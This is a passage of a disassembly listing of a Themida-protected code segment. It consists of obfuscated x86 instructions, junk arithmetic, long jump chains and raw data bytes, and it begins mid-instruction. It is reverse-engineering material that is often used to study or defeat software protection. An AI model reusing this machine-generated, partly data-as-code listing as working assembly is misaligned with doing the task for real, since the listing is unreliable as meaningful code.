[esp] mov esp, [esp] mov [esp], ebp mov ebp, 168B1809h add ebp, 47D87810h sub ebp, 0FFFFFFFFh shl ebp, 4 push ebx mov ebx, 7FBF42E9h add ebp, ebx pop ebx add ebp, 6F1B9A85h sub edx, ebp pop ebp and eax, edx pop edx or eax, eax jz loc_592C0C push dword ptr [edi+1Ch] add dword ptr [esp], 32321166h mov ecx, [esp] push ebx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx add ebx, 4 push ecx mov ecx, 6BB80E01h and ecx, 170F727Eh sub ecx, 75C7CF9h jb loc_598507 xor ecx, 6AB25BB1h sub ecx, 83616976h loc_5911E0: ; CODE XREF: Themida_:0058F053j xchg esi, [esp] pop esp jmp loc_591614 ; --------------------------------------------------------------------------- db 52h, 0B6h, 66h dd 808CEE80h, 13E96CF6h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5911F7: ; CODE XREF: Themida_:005984EDj sub ebx, 0FFFFFFFFh shr ebx, 7 jz loc_596D03 jmp loc_58C0F3 ; --------------------------------------------------------------------------- db 81h dd 765BB8C2h, 0FEEA8149h, 81643F30h, 285BD5F2h, 5AD72935h dd 0B2E0E951h, 8B66FFFFh, 0C481241Ch, 2, 8B2434FFh, 0C483240Ch dd 0A270E904h, 53BDFFFFh, 455B627Dh, 0C106EDC1h, 0C58102E5h dd 0FA49D830h, 638C681h, 0EE011656h, 638EE81h, 32E91656h dd 5D000012h, 2414F752h, 0FFFC33E9h db 0FFh ; --------------------------------------------------------------------------- loc_59126D: ; CODE XREF: Themida_:0058DB15j mov esi, [esp] add esp, 4 add edx, 2 xchg edx, [esp] pop esp mov ax, [esp] push 27D7h jmp loc_58DA48 ; --------------------------------------------------------------------------- loc_59128B: ; CODE XREF: Themida_:00590672j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push ebx mov ebx, 2183A6Fh sub ebx, 0EECADB82h push ebx add dword ptr [esp], 0EE1C6Fh pop esi sub esi, 0EE1C6Fh pop ebx add ecx, esi pop esi add ecx, edi push ebp mov ebp, 134D5EEDh sub ecx, 7C903F55h sub ecx, ebp add ecx, 7C903F55h pop ebp mov [ecx], al mov ecx, [esp] jmp loc_58DB39 ; --------------------------------------------------------------------------- db 0E9h, 95h, 0A0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5912E6: ; CODE XREF: Themida_:00593E27j pop edi xor edx, ebx mov ebx, [esp] add esp, 4 jmp loc_58DE79 ; --------------------------------------------------------------------------- loc_5912F7: ; CODE XREF: Themida_:00590880j add edi, 77FB6DDFh jmp loc_5907C7 ; --------------------------------------------------------------------------- loc_591302: ; CODE XREF: Themida_:0058B429j pop esi add ecx, edx pop edx mov [edx+30h], ecx mov ecx, [esp] add esp, 4 popa popf retn ; --------------------------------------------------------------------------- dw 64E9h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591317: ; CODE XREF: Themida_:0059793Dj mov [esp], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591323: ; CODE XREF: Themida_:0059406Cj pop esp mov [esp], esi push 18EBh mov [esp], edi jmp loc_59654E ; --------------------------------------------------------------------------- dd 0EDF8E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59133A: ; CODE XREF: Themida_:0058D719j mov ebx, 66E46C0Bh jmp loc_59176D ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi jmp loc_58E554 ; --------------------------------------------------------------------------- byte_59134D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B240o dd 0E6895624h, 0FFE427E9h, 247C29FFh, 0FD60E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591362: ; CODE XREF: Themida_:0058F1CCj xor dl, 84h sub al, 19h jmp loc_58D71E ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481240Ch, 4, 3A1868h, 24148900h, 8DE9E289h dd 0D1000034h, 9DE952EFh, 2900006Eh, 0FE8958C7h, 0F8CEE95Fh dd 0E281FFFFh, 40413B1Dh, 0DFFDC281h, 0D029F201h, 0E9F0015Ah dd 0FFFFA1C7h ; --------------------------------------------------------------------------- loc_5913B0: ; CODE XREF: Themida_:00590ACEj pop esp sub esp, 4 mov [esp], ecx push edx mov edx, 490B5062h sub esp, 4 mov [esp], ebp mov ebp, 490B5061h push esi jmp loc_592F3A ; --------------------------------------------------------------------------- loc_5913D4: ; CODE XREF: Themida_:005927D1j mov ch, 89h mov al, ch pop ecx add al, 8Ah mov bl, al jmp loc_593A24 ; --------------------------------------------------------------------------- dw 8B5Dh dd 0C483241Ch, 0FC90B04h, 233284h, 64846800h, 24890000h dd 0E9505524h, 7045h ; --------------------------------------------------------------------------- loc_591400: ; CODE XREF: Themida_:00593AA3j xor edi, ebp pop ebp mov esi, edi pop edi push edx mov edx, 11A20492h push edx jmp loc_596814 ; --------------------------------------------------------------------------- dw 5759h dd 2BFh, 5E222D00h, 0F80176DFh, 0FFF0D0E9h, 38C0FFFh, 81FFFFC2h dd 663F5CE9h, 2D8CE97Ch, 39680000h, 8900000Ah, 6E9242Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591443: ; CODE XREF: Themida_:00590BA5j pop ecx xor eax, 15DB3148h push ebp jmp loc_591E13 ; --------------------------------------------------------------------------- db 55h dd 0C5815D54h, 4, 4ED81h, 2C870000h, 24248B24h, 68243489h dd 15E7h, 83242489h, 5E042404h, 495DBF57h, 0EF816D55h dd 5F3C4981h, 0FFD8EF81h, 0BD550E18h, 0C485E2Dh, 0E581D5F7h dd 0AD35D5Bh, 6F7EF581h, 0D5F75AF5h, 5412E9h, 0C1B95100h dd 314D0375h, 3EE959CEh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5914AF: ; CODE XREF: Themida_:0058D918j jns loc_59246B push esi push edx jmp loc_58E848 ; --------------------------------------------------------------------------- db 89h, 0EFh, 58h ; --------------------------------------------------------------------------- loc_5914BF: ; CODE XREF: Themida_:0058CCE5j add al, 4Ch jmp loc_593D81 ; --------------------------------------------------------------------------- loc_5914C6: ; CODE XREF: Themida_:0058D19Ej shr ecx, 7 jmp loc_593B03 ; --------------------------------------------------------------------------- dw 0F201h dd 0F05DE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5914D6: ; CODE XREF: Themida_:0058D9C5j jmp loc_59717D ; --------------------------------------------------------------------------- loc_5914DB: ; CODE XREF: Themida_:00592289j add esp, 4 add esp, 4 push cx jmp loc_593145 ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0FFDE0100h, 1C8B2434h, 4C48324h, 8904EC83h, 0B6E9241Ch db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591507: ; CODE XREF: Themida_:00597AC6j xchg edx, [esp] pop esp push ebx jmp loc_58C06D ; --------------------------------------------------------------------------- loc_591511: ; CODE XREF: Themida_:0058DDF4j xor eax, esi xor esi, eax xor eax, esi push esi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_594AE8 ; --------------------------------------------------------------------------- word_591526 dw 8B66h ; DATA XREF: Themida_:0058B1F0o dd 8957240Ch, 0B85053E7h, 28E67C6h, 1DAFE9h, 4C48300h dd 236068h, 24048900h, 0B35314B0h, 0DCDEE94Bh db 2 dup(0FFh) word_59154E dw 8B66h ; DATA XREF: Themida_:0058B0D4o dd 0F8E9240Ch, 0BDFFFFFEh, 0B3D8D6F5h, 524BE9h db 0 ; --------------------------------------------------------------------------- loc_591561: ; CODE XREF: Themida_:0058C754j xor ebp, 25C2748h xor ebp, 6ED062DBh shr ebp, 5 jmp loc_5923FA ; --------------------------------------------------------------------------- db 81h, 0CBh, 0A2h dd 0F63230Eh, 11B58Eh, 40C38100h, 8961BB38h, 0E8015BDDh dd 4C6815Dh, 0E9000000h, 148Eh, 68240C89h, 0E1E5736h, 83240C8Bh dd 0F18104C4h, 4DFC7C56h, 0FFFE74E9h, 57F029FFh, 0FFC7C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5915B9: ; CODE XREF: Themida_:00591B02j xor edx, 76D5B12h mov edi, edx pop edx jmp loc_58F94A ; --------------------------------------------------------------------------- db 89h dd 0BB241Ch, 1000000h, 5B0388D3h, 8124148Bh, 4C4h, 9D99E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5915E2: ; CODE XREF: Themida_:0058B62Aj ; Themida_:00590B70j mov ebp, eax jmp loc_58B78B ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C7010000h, 0EEA6858h, 2C890000h, 0F9BA5224h, 5017F424h dd 8A0F12B8h, 13B22511h, 7A0559B4h, 0E9173824h, 0FFFFFFCEh ; --------------------------------------------------------------------------- loc_591614: ; CODE XREF: Themida_:005911E4j mov [esp], eax push 3B22h mov [esp], ebx jmp loc_5943C1 ; --------------------------------------------------------------------------- dd 4C481h, 22E90000h, 66000007h, 0E9240489h, 0FFFF9D43h ; --------------------------------------------------------------------------- loc_591638: ; CODE XREF: Themida_:0058EDDEj mov [esp], edx mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push edx jmp loc_591F3B ; --------------------------------------------------------------------------- dd 246C815Bh, 0E2AFB04h, 247C295Fh, 24448104h, 0E2AFB04h dd 243C8B5Fh, 0FFE378E9h db 0FFh ; --------------------------------------------------------------------------- loc_59167D: ; CODE XREF: Themida_:00595C00j sub edi, 0EE5635DFh jmp loc_596876 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFE52Dh ; --------------------------------------------------------------------------- loc_591690: ; CODE XREF: Themida_:0058CE89j imul cl jmp loc_5974BD ; --------------------------------------------------------------------------- loc_591697: ; CODE XREF: Themida_:0058E271j pop ebx pop edi sub esp, 4 mov [esp], eax mov eax, 5D9C78C6h jmp loc_5975F1 ; --------------------------------------------------------------------------- loc_5916AC: ; CODE XREF: Themida_:0058F203j sub ebx, ebp pop ebp xor edx, ebx pop ebx and eax, edx mov edx, [esp] push eax jmp loc_594FC3 ; --------------------------------------------------------------------------- byte_5916BD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B0CCo dd 0D0F7E924h, 483FFFFh, 34FF0424h, 0C4815A24h, 4, 19685253h dd 5A07042Ch, 2C1DF281h, 0D3890704h, 0E924148Bh, 1F9Fh ; --------------------------------------------------------------------------- loc_5916EC: ; CODE XREF: Themida_:00595ADDj xchg eax, [esp] jmp loc_598352 ; --------------------------------------------------------------------------- dd 7C5DEE81h, 8D0F0CD3h, 0DCCh, 31BCE9h, 41D1F700h, 5990E9h db 0 byte_59170D db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0058B330o dd 64E99C24h, 0FFFFF9Ch, 0FFF6BD81h, 81DEF7FFh, 0B636B2F6h dd 0A5870F0Fh, 5900006Ch, 8103EFC1h, 7A4E0EEFh, 5FFB21EDh dd 0FFD296E9h db 0FFh ; --------------------------------------------------------------------------- loc_59173D: ; CODE XREF: Themida_:00590E69j sub edx, ebx pop ebx jmp loc_58BB31 ; --------------------------------------------------------------------------- loc_591745: ; CODE XREF: Themida_:005958C0j add esi, 4 xchg esi, [esp] pop esp sub ecx, 0C5F2FC0Bh mov edx, ecx jmp loc_594A98 ; --------------------------------------------------------------------------- loc_59175C: ; CODE XREF: Themida_:0058E820j sub al, 0F8h jmp loc_58D04D ; --------------------------------------------------------------------------- loc_591763: ; CODE XREF: Themida_:00590E31j pop edi mov edi, [esp] push ecx jmp loc_5974FD ; --------------------------------------------------------------------------- loc_59176D: ; CODE XREF: Themida_:0059133Fj mov edi, 0B643F596h add edi, ebx pop ebx mov ebp, edi pop edi add ebp, 0FFFFFFFFh sub ebp, 1D28619Ch jmp loc_593CC6 ; --------------------------------------------------------------------------- loc_591786: ; CODE XREF: Themida_:00596981j push ebp mov ebp, 4 jmp loc_58DEF1 ; --------------------------------------------------------------------------- db 49h, 0E9h, 43h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591797: ; CODE XREF: Themida_:005968AEj mov edi, ebp push dword ptr [esp] pop ebp jmp loc_59535D ; --------------------------------------------------------------------------- dw 489h dd 0E165E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5917AA: ; CODE XREF: Themida_:0058B39Fj mov ecx, 480641D3h jmp loc_597413 ; --------------------------------------------------------------------------- loc_5917B4: ; CODE XREF: Themida_:0058EF93j mov ebx, [esp] add esp, 4 jmp loc_595A3C ; --------------------------------------------------------------------------- loc_5917BF: ; CODE XREF: Themida_:0058D124j pop esi sub edx, ebp push ebp push esi mov esi, 592B11B8h jmp loc_597479 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFB44Eh, 0B9665166h, 29665BCBh, 0E95966C8h, 0FFFFADDFh dd 3593ED81h, 890F57CDh, 333Ah, 0FFE2D4E9h, 0E0B443FFh dd 0B753A6B1h, 9068661Eh, 0C896622h, 0EBB524h, 0D25EE9EFh dd 5266FFFFh, 0F00080B6h, 0D8005A66h, 0D3E9802Ch, 0BF000036h dd 3176126Dh, 0F47597BDh, 0A53BE94Ah, 0CA80FFFFh, 0F4B35361h dd 0FE07EBC0h, 3520E9CBh, 0C3810000h, 334B6B65h, 45BC381h dd 0F3291507h, 0BD6E9h db 0 ; --------------------------------------------------------------------------- loc_591851: ; CODE XREF: Themida_:00594F10j push esi jmp loc_58F0FA ; --------------------------------------------------------------------------- db 83h dd 6AE904C7h, 0E9FFFFD7h, 0FFFFDCB3h, 5C241C87h, 0F9D0E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59186E: ; CODE XREF: Themida_:00593EC5j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591873: ; CODE XREF: Themida_:00592AECj add esp, 4 add ebx, ebp pop ebp not ebx add ebx, 4B83501h push edi mov edi, 20263190h push ecx mov ecx, 59765FE4h jmp loc_598375 ; --------------------------------------------------------------------------- byte_591895 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B110o dd 0C7E95324h, 8300001Ah, 7DE904C4h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5918A7: ; CODE XREF: Themida_:00597D3Cj mov eax, [esp] add esp, 4 push 1868h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_58D7C3 ; --------------------------------------------------------------------------- loc_5918CC: ; CODE XREF: Themida_:00595436j mov esi, 6E17280Ch add esi, 0A6CCD8CEh and ebp, esi pop esi jmp loc_597432 ; --------------------------------------------------------------------------- align 10h dd 77E95AD5h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5918E7: ; CODE XREF: Themida_:0058ED9Bj push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_58FEF4 ; --------------------------------------------------------------------------- loc_5918F5: ; CODE XREF: Themida_:0058B618j pop ecx add al, 76h sub al, dh sub al, 76h mov dx, [esp] add esp, 2 push 0CFDh mov [esp], ecx mov cl, 12h or cl, 7Dh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_590572 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 875DEB29h, 895C241Ch, 0B252240Ch, 4E2C08Ah, 0FFD277E9h db 0FFh ; --------------------------------------------------------------------------- loc_591945: ; CODE XREF: Themida_:0058E985j sub ebp, 67712331h jmp loc_58B44D ; --------------------------------------------------------------------------- dd 7FEC681h, 0E6816ADBh, 3E337CD7h, 1BA8F681h, 0B9514F33h dd 451223FEh, 0FFF291E9h db 0FFh byte_59196D db 81h, 0ECh, 4 ; DATA XREF: Themida_:0058B124o dd 0E9000000h, 48A5h ; --------------------------------------------------------------------------- loc_591978: ; CODE XREF: Themida_:0059260Fj mov [esp], cx jmp loc_58B37B ; --------------------------------------------------------------------------- db 1, 0C2h, 0FFh dd 51582434h, 0C181E189h, 4, 4C181h, 0C870000h, 44FDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59199E: ; CODE XREF: Themida_:0058C8FDj add esp, 4 push ebx mov bh, dl jmp loc_5935AA ; --------------------------------------------------------------------------- loc_5919A9: ; CODE XREF: Themida_:00595BB4j pop eax add bl, al jmp loc_58F6AD ; --------------------------------------------------------------------------- loc_5919B1: ; CODE XREF: Themida_:00593C2Ej push esi push 4 pop esi sub edi, esi pop esi jmp loc_59356B ; --------------------------------------------------------------------------- dd 4240481h, 58000000h, 405h, 0E2E95600h, 87000020h, 0E95C2404h dd 478Eh, 5C241487h, 582434FFh, 8904EC83h, 8AE92434h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5919EF: ; CODE XREF: Themida_:00593548j xchg eax, [esp] pop esp jmp loc_5941A2 ; --------------------------------------------------------------------------- dd 84CB815Bh, 81761358h, 0EB01B6C3h, 8BD98960h, 0C481241Ch dd 4, 0D7BD5557h, 8166F51Bh, 1FDEF6EDh, 5DEF895Fh, 67E9DFF7h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591A27: ; CODE XREF: Themida_:00597CF0j add esi, edx add esi, 29E20168h pop edx jmp loc_59615F ; --------------------------------------------------------------------------- db 0BEh, 0DFh, 33h dd 0E9463882h, 3A13h ; --------------------------------------------------------------------------- loc_591A40: ; CODE XREF: Themida_:00592BCEj xor edi, 10614540h push eax mov eax, 2A85F51h shr eax, 5 xor eax, 11E60BDEh jmp loc_59710E ; --------------------------------------------------------------------------- loc_591A59: ; CODE XREF: Themida_:00592D06j ; Themida_:00595BA0j not ecx sub ecx, 0A0BF8F6Eh push ebp jmp loc_58B42E ; --------------------------------------------------------------------------- loc_591A67: ; CODE XREF: Themida_:0058E804j pop bx sub esp, 4 mov [esp], edx jmp loc_58C486 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF98FFh, 0B9240C89h, 332A38A4h, 0FFBC4AE9h, 52535CFFh dd 175EE9h, 2474FF00h, 243C8B04h, 4C481h, 7E90000h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591AA3: ; CODE XREF: Themida_:00594BD7j and ecx, 615C4002h jmp loc_597A34 ; --------------------------------------------------------------------------- loc_591AAE: ; CODE XREF: Themida_:0058E7E4j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 2114h mov [esp], edx mov edx, 1 and ecx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push 1EC3h mov [esp], edi push esp pop edi push edx mov edx, 4 add edi, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5901C7 ; --------------------------------------------------------------------------- loc_591AFC: ; CODE XREF: Themida_:005920B8j sub edx, 34B865AFh jp loc_5915B9 xor edx, 76D5B12h mov edi, edx pop edx and edi, 49A87299h jns loc_595523 sub edi, 0FFFFFFFFh or edi, 68ED47C5h pop esi mov edi, 66CF2A74h shr edi, 3 jmp loc_5984D4 ; --------------------------------------------------------------------------- dd 51DBF781h, 0C78317F3h, 8EFC101h, 2088C781h, 0F901FFABh dd 8BF575Fh, 813A943Fh, 700D6AF7h, 4FF78174h, 0E9545425h dd 0FFFFDAFBh ; --------------------------------------------------------------------------- loc_591B60: ; CODE XREF: Themida_:00593C88j jmp loc_59539F ; --------------------------------------------------------------------------- loc_591B65: ; CODE XREF: Themida_:00591F4Dj push ebp push 47E9234Ch pop ebp add ebp, 1 shr ebp, 1 jmp loc_58FC66 ; --------------------------------------------------------------------------- loc_591B79: ; CODE XREF: Themida_:0058F75Cj sub ebx, ebp push dword ptr [esp] pop ebp add esp, 4 push esi mov esi, 7D8C7B83h sub ebx, esi jmp loc_59507F ; --------------------------------------------------------------------------- loc_591B8F: ; CODE XREF: Themida_:00594D1Ej ; Themida_:005959FFj movzx cx, ah push small 26A5h mov [esp], cx movzx cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591BA7: ; CODE XREF: Themida_:005930DAj mov [esp], edi push ebx add dword ptr [esp], 6F3A4B7Bh mov edi, [esp] add esp, 4 push esi jmp loc_592F27 ; --------------------------------------------------------------------------- loc_591BC1: ; CODE XREF: Themida_:0058BBC8j mov eax, [esp] add esp, 4 jmp loc_597403 ; --------------------------------------------------------------------------- loc_591BCF: ; CODE XREF: Themida_:0058D179j add edi, ebx mov ebx, [esp] add esp, 4 push edx sub esp, 4 mov [esp], esi push 2C9452C0h jmp loc_596E87 ; --------------------------------------------------------------------------- byte_591BEB db 66h ; DATA XREF: Themida_:0058B1D0o dd 5024048Bh, 0EC835854h, 17D4E904h, 1C870000h, 0C5895C24h dd 1820E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591C06: ; CODE XREF: Themida_:0059080Fj add eax, edx pop edx jmp loc_59293D ; --------------------------------------------------------------------------- loc_591C0E: ; CODE XREF: Themida_:0058D15Dj sub ecx, 5FA603F5h add ecx, 704874E6h jmp loc_58EF07 ; --------------------------------------------------------------------------- loc_591C1F: ; CODE XREF: Themida_:00593503j xor esi, [esp] xor [esp], esi jmp loc_59857F ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 1BDEE9h db 0 ; --------------------------------------------------------------------------- loc_591C35: ; CODE XREF: Themida_:005977B1j mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_5934C6 ; --------------------------------------------------------------------------- aBcheRsf db '│ФHE',9,'rИF%',0 dd 0B5BF5700h, 5570FD3Dh, 0DE5191BDh, 0C3C58100h, 2979060Ah dd 0CB0CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591C6A: ; CODE XREF: Themida_:00593550j mov esp, [esp] jmp loc_58CBA9 ; --------------------------------------------------------------------------- dw 6FBFh dd 0BB60F243h, 60F24373h, 3C8BFB29h, 5CA8E924h, 0E94A0000h dd 3139h ; --------------------------------------------------------------------------- loc_591C8C: ; CODE XREF: Themida_:00593263j mov [esp], edx mov edx, 4D6D23A1h push eax push 0FFFFFFFFh pop eax sub edx, eax pop eax sub edx, 54C30C73h jnz loc_58F9E2 inc edx jle loc_598588 shr edx, 3 mov al, ah push ecx add edx, 5D91700Bh add edx, edi sub edx, 5D91700Bh add edx, 3DE67288h jmp loc_59841A ; --------------------------------------------------------------------------- dd 163E68h, 24248900h, 4240483h, 4EC815Bh, 0E9000000h dd 0FFFF9BCDh, 27E58A0Fh, 0B0500000h, 58C13001h, 0D3E9862Ch dd 5CFFFFB9h, 0F74ED6F7h, 41EE81DEh, 81720E3Dh, 11C842C6h dd 68CBE93Eh db 2 dup(0) word_591D12 dw 34FFh ; DATA XREF: Themida_:0058B30Co dd 2434FF24h, 6824148Bh, 36B9h, 89243C89h, 0F4E955E7h dd 0BEFFFFA9h, 4, 348BF229h, 4C48324h, 0E9241487h, 63CFh dd 0AE09D6BBh, 5FE2BD2Ch, 0DD29718Bh, 0FF9E34E9h, 57BE56FFh dd 0F766DF18h, 0FCBA52D6h, 95A0D27h, 24148BD6h, 4C481h dd 0E94E0000h, 0FFFFCE13h ; --------------------------------------------------------------------------- loc_591D70: ; CODE XREF: Themida_:0058D136j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 7AA4h jmp loc_595CC1 ; --------------------------------------------------------------------------- db 0BDh, 6Fh, 11h dd 0ED811A72h, 0F8439746h, 89E98951h, 2C8B59CBh, 4C48324h dd 7A25EB81h, 0C181222Eh, 15BE4CE7h, 0E981D901h, 15BE4CE7h dd 2795E9h db 0 ; --------------------------------------------------------------------------- loc_591DB9: ; CODE XREF: Themida_:00595B8Bj push ebp jmp loc_5970C1 ; --------------------------------------------------------------------------- loc_591DBF: ; CODE XREF: Themida_:005951BDj mov [esp], ebx push 0 mov ebx, [esp] add esp, 4 add ebx, eax push 136Dh mov [esp], eax mov eax, 0 add eax, 21FA130Fh sub eax, 7ACE43B0h add eax, ebx add eax, 7ACE43B0h sub eax, 21FA130Fh mov [eax], dl pop eax push dword ptr [esp] pop ebx push ebx jmp loc_5985C7 ; --------------------------------------------------------------------------- dw 5453h dd 4C3815Bh, 83000000h, 79E904EBh db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591E13: ; CODE XREF: Themida_:0059144Aj mov ebp, 264B2D22h dec ebp push edx jmp loc_597A91 ; --------------------------------------------------------------------------- db 0BFh dd 188460F2h, 0E9D7F74Fh, 0FFFFBC48h ; --------------------------------------------------------------------------- loc_591E2C: ; CODE XREF: Themida_:0058F326j push esi jmp loc_58D81C ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C243487h, 9C240CFEh, 0FFFC32E9h, 804CB2FFh, 0A6E9FCC2h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591E4F: ; CODE XREF: Themida_:00592FFEj pop ebx push esi push 77B24A2Ch pop esi sub esi, 60A5F709h mov edx, esi pop esi add edx, ebp jmp loc_592BEA ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF950Fh, 2C03E0C0h, 2816E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_591E76: ; CODE XREF: Themida_:0058B5F0j ; Themida_:0058EA40j jmp loc_58C902 ; --------------------------------------------------------------------------- db 5Bh dd 0E95EF289h, 0FFFFDA5Ah ; --------------------------------------------------------------------------- loc_591E84: ; CODE XREF: Themida_:0058F9CFj push 2299609Fh jmp loc_59736C ; --------------------------------------------------------------------------- dw 0B966h dd 1665BCBh, 9BD0E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591E9A: ; CODE XREF: Themida_:00595405j mov [esp], eax mov ebx, [esp] add esp, 4 mov eax, [esp] jmp loc_58EA14 ; --------------------------------------------------------------------------- db 30h dd 0C4FE5AF4h, 2852F480h, 45858E6h, 2CF028B3h, 2434FFB3h dd 4C4815Ah, 68000000h, 2EDAh, 51241489h, 495168h, 0D2F7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591EDA: ; CODE XREF: Themida_:00592C14j sub esp, 4 jmp loc_593C1D ; --------------------------------------------------------------------------- loc_591EE5: ; CODE XREF: Themida_:0058BB7Bj inc ebp xor ebp, 6A250535h add ebp, 0D84514Ch jmp loc_5954E2 ; --------------------------------------------------------------------------- db 0Fh dd 7E84h, 880F4A00h, 0FFFFCEE9h, 1654E9h db 0 ; --------------------------------------------------------------------------- loc_591F09: ; CODE XREF: Themida_:0058C765j add eax, ebp jmp loc_5950C5 ; --------------------------------------------------------------------------- loc_591F10: ; CODE XREF: Themida_:0058CF82j push 78AAh mov [esp], esi jmp loc_58FE8E ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4832424h, 8AE90424h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591F2F: ; CODE XREF: Themida_:0058D644j add dword ptr [esp], 2BE956F0h jmp loc_591115 ; --------------------------------------------------------------------------- loc_591F3B: ; CODE XREF: Themida_:0059165Bj mov edx, 22071A7Dh dec edx push ebx mov ebx, 213F5D9Fh add ebx, 1 jmp loc_591B65 ; --------------------------------------------------------------------------- dw 0BB53h dd 4ADC262Dh, 0CDCDE953h, 34FFFFFFh, 24048B24h, 6804C483h dd 30E5h, 89240C89h, 3A4AE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591F76: ; CODE XREF: Themida_:0058E385j jmp loc_58B37B ; --------------------------------------------------------------------------- db 4Ah dd 0EA12880Fh, 92E9FFFFh, 33FFFFB6h, 815C243Ch, 4ECh, 24048900h dd 570897B8h, 0FFC2013Ah, 81582434h, 4C4h, 5EBF5700h, 570FAC13h dd 0E67288BFh, 5FFA293Dh, 0FFFCFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_591FB9: ; CODE XREF: Themida_:0059623Cj shr cl, 4 sub cl, 69h jmp loc_59351E ; --------------------------------------------------------------------------- loc_591FC4: ; CODE XREF: Themida_:00597056j xor ecx, 12018h add eax, ecx jmp loc_595E79 ; --------------------------------------------------------------------------- loc_591FD1: ; CODE XREF: Themida_:0058F43Bj xor ecx, 0B2FB5A8Eh and eax, ecx mov ecx, [esp] push esi mov esi, esp push 2620h mov [esp], eax push ebx jmp loc_58E5BF ; --------------------------------------------------------------------------- loc_591FED: ; CODE XREF: Themida_:00596E15j xor [esp], edx xor edx, [esp] jmp loc_58ED92 ; --------------------------------------------------------------------------- dd 6BD68h, 240C8900h, 0FF9376E9h, 8ED81FFh, 1162009h, 2434FFEEh dd 4C4815Dh, 68000000h, 6FC8h, 55241C89h, 4BDh, 340E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59202A: ; CODE XREF: Themida_:0058C068j ; Themida_:0058E130j push ecx mov ecx, 9A17A53h shl ecx, 2 sub ecx, 0FEA64B4h xor ecx, 169B849Ch add ebp, ecx pop ecx xchg ebp, [esp] pop esp sub bl, al add bl, 0DAh jmp loc_58E6E1 ; --------------------------------------------------------------------------- dd 4C681h db 2 dup(0), 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx jmp loc_5957FE ; --------------------------------------------------------------------------- loc_592078: ; CODE XREF: Themida_:0058E5A2j or edi, 4E855E98h shl edi, 3 sub edi, 0AA1736B8h xor edx, edi pop edi and eax, edx mov edx, [esp] add esp, 4 jmp loc_59375E ; --------------------------------------------------------------------------- dw 0BF57h dd 7F5D6A68h, 8B0FDFF7h, 0FFFFD4C3h, 8D0FDFF7h, 0FFFFEAFAh db 53h, 52h ; --------------------------------------------------------------------------- loc_5920B2: ; CODE XREF: Themida_:0058D2BAj add edx, 4CBA6F33h jmp loc_591AFC ; --------------------------------------------------------------------------- db 66h, 81h, 0E2h dd 8E0F7A14h, 0FFFFE8FBh, 0CCF28166h, 0D789663Bh, 0FFBA45E9h db 0FFh ; 